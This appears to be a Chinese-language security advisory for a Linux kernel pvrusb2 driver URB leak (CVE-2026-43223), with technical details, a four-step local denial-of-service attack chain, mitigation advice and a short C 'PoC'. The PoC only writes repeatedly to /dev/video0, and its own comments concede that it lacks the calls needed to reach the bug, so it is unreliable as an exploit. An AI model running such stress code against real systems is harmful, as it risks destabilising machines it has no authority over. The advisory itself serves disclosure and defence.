IPBUF安全漏洞报告
English
CVE-2026-43223 CVSS 5.5 中危

CVE-2026-43223: Linux内核pvrusb2驱动URB泄漏漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43223
漏洞类型
资源泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelResource LeakDoSpvrusb2URB

漏洞概述

Linux内核中的pvrusb2驱动程序存在一个资源泄漏漏洞。在pvr2_send_request_ex函数中,当写入URB提交成功但读取URB提交失败(例如内存不足)时,函数直接返回而未清理写入URB。由于驱动复用URB结构,后续调用会尝试提交仍处于活动状态的URB,导致内核警告及潜在的系统可用性问题。

技术细节

该漏洞位于drivers/media/usb/pvrusb2/pvrusb2-io.c的pvr2_send_request_ex函数中。该函数负责处理USB请求块(URB)的提交。逻辑上,它先提交写URB,随后提交读URB。若读URB提交失败(返回-ENOMEM等错误),代码直接跳转至错误处理出口,未对已成功提交的写URB执行unlink操作。由于驱动采用URB结构体复用机制,下一次调用该函数时,会尝试通过usb_submit_urb提交一个状态仍为active的URB。这将触发“URB submitted while active”的内核警告,可能导致内核日志溢出或驱动崩溃,攻击者需具备本地低权限即可利用此漏洞造成拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地低权限访问权限。
STEP 2
步骤2
攻击者打开并访问pvrusb2设备节点(如/dev/video0)。
STEP 3
步骤3
攻击者通过特定的IOCTL或写操作反复调用pvr2_send_request_ex函数。
STEP 4
步骤4
触发读取URB提交失败的错误路径,导致写入URB泄漏及内核警告,最终造成系统不稳定或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43223 * This code attempts to trigger the URB leak by interacting with the device. * Compile: gcc -o poc_exploit poc_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/video0" // Assuming pvrusb2 device node int main() { int fd, i; char buffer[256]; printf("[+] Attempting to open pvrusb2 device...\n"); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return -1; } printf("[+] Device opened. Sending requests to trigger URB leak...\n"); // Loop to stress the driver and potentially hit the error path for (i = 0; i < 1000; i++) { // Attempting to interact with the device. // In a real scenario, specific IOCTLs or writes that map to // pvr2_send_request_ex would be used to induce the read failure. if (write(fd, buffer, sizeof(buffer)) < 0) { // Errors here might indicate memory pressure or path traversal perror("[-] Write failed"); } } close(fd); printf("[+] Done. Check dmesg for 'URB submitted while active' warnings.\n"); return 0; }

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
建议立即更新Linux内核至最新稳定版本。如果暂时无法更新,可以通过卸载pvrusb2内核模块(rmmod pvrusb2)或修改udev规则限制设备文件访问来缓解风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表